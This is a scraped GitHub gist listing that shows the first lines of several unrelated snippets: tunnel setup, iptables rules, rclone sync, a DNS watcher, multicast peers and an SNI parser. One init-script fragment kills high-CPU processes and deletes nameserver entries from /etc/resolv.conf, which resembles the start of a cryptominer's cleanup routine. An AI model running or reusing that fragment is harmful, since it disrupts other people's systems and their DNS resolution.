This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const lottery = () => { | |
const numArray = []; | |
const startNumber = 1; | |
const endNumber = 45; | |
const numCount = 6; | |
if (startNumber > endNumber) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global.MULTICAST_DGRAM_PORT = 1111; | |
global.MULTICAST_GROUP = '239.99.99.99'; | |
global.PEER_TIMEOUT = 30 | |
global.PEER_HEARTBEAT = 5; | |
global.KEY = 'ashe'; | |
const dgram = require("dgram"); | |
const process = require("process"); | |
const readline = require('readline'); | |
const os = require('os'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
INTERFACE="gre_yy_zz" | |
LOCAL_ADDR="72.30.35.9" | |
REMOTE_ADDR="172.217.161.78" | |
GRE_CIDR="10.33.0.1/30" | |
ip link set $INTERFACE down | |
ip tunnel del $INTERFACE |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Script that will trigger a local to remote sync when any changes below your local Google Drive folder occur - but at max. every 10 minutes - and a remote to local sync every x (e.g. 30 minutes) via a cron job. | |
0. Install rclone and configure it for Google Drive | |
1. Create files listed below | |
2. Configure rclone_watch_local.sh to be run on startup (e.g. using a systemd service unit) | |
3. Add a cron job that runs rclone_remote2local.sh every x (e.g. 30) minutes | |
---------------------- | |
rclone_local2remote.sh | |
---------------------- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# RHEL: bind-utils | |
# Debian based : bind9-host | |
# | |
WATCH_DOMAIN="1dot1dot1dot1.cloudflare-dns.com" | |
EXEC_VAR=`host -4 -t A $WATCH_DOMAIN | head -n 1 | awk '{print $4}'` | |
if ! [[ $EXEC_VAR =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# IPTABLES Matching by PID got removed in 2005. | |
# Usage: foo.bash 0 ping -c 4 -w 1 1.1.1 | |
# foo.bash 1 ping -c 4 -w 1.1.1.1 | |
IPTABLES="/sbin/iptables" | |
REJECT_MODE="DROP" # REJECT, DROP | |
RANDOM_FUNC=$(( ( RANDOM % 30000 ) + 10000 )) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#chkconfig: 2345 88 14 | |
SHELL=/bin/sh | |
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin | |
function kills() { | |
#ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid | |
#do | |
#pkill -f $procid | |
#done | |
sed -i '/nameserver*/d' /etc/resolv.conf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
TARGET=1.1.1.1 | |
iptables -D OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT | |
iptables -t nat -D OUTPUT --destination 173.245.48.0/20 -j DNAT --to-destination=$TARGET | |
iptables -t nat -D OUTPUT --destination 103.21.244.0/22 -j DNAT --to-destination=$TARGET | |
iptables -t nat -D OUTPUT --destination 103.22.200.0/22 -j DNAT --to-destination=$TARGET | |
iptables -t nat -D OUTPUT --destination 103.31.4.0/22 -j DNAT --to-destination=$TARGET | |
iptables -t nat -D OUTPUT --destination 141.101.64.0/18 -j DNAT --to-destination=$TARGET | |
iptables -t nat -D OUTPUT --destination 108.162.192.0/18 -j DNAT --to-destination=$TARGET |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
INTERFACE="hev6_tunnel" | |
SERVERv4_ADDRESS="216.218.226.238" | |
CLIENTv4_ADDRESS="198.51.100.69" | |
# Server Tunnel Address for route; Do not enter a prefix here | |
SERVERv6_TUNADDRESS="2001:470:6969::1" | |
# Client Tunnel Address; you must have to define a prefix | |
CLIENTv6_TUNADDRESS="2001:470:6969::2/64" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const snireader = (buffer) => { | |
let pos = 0; | |
if (buffer[pos] !== 0x16) { | |
// SNI: Handshake | |
return; | |
} | |
if (buffer[pos = pos + 5] !== 0x01) { |
OlderNewer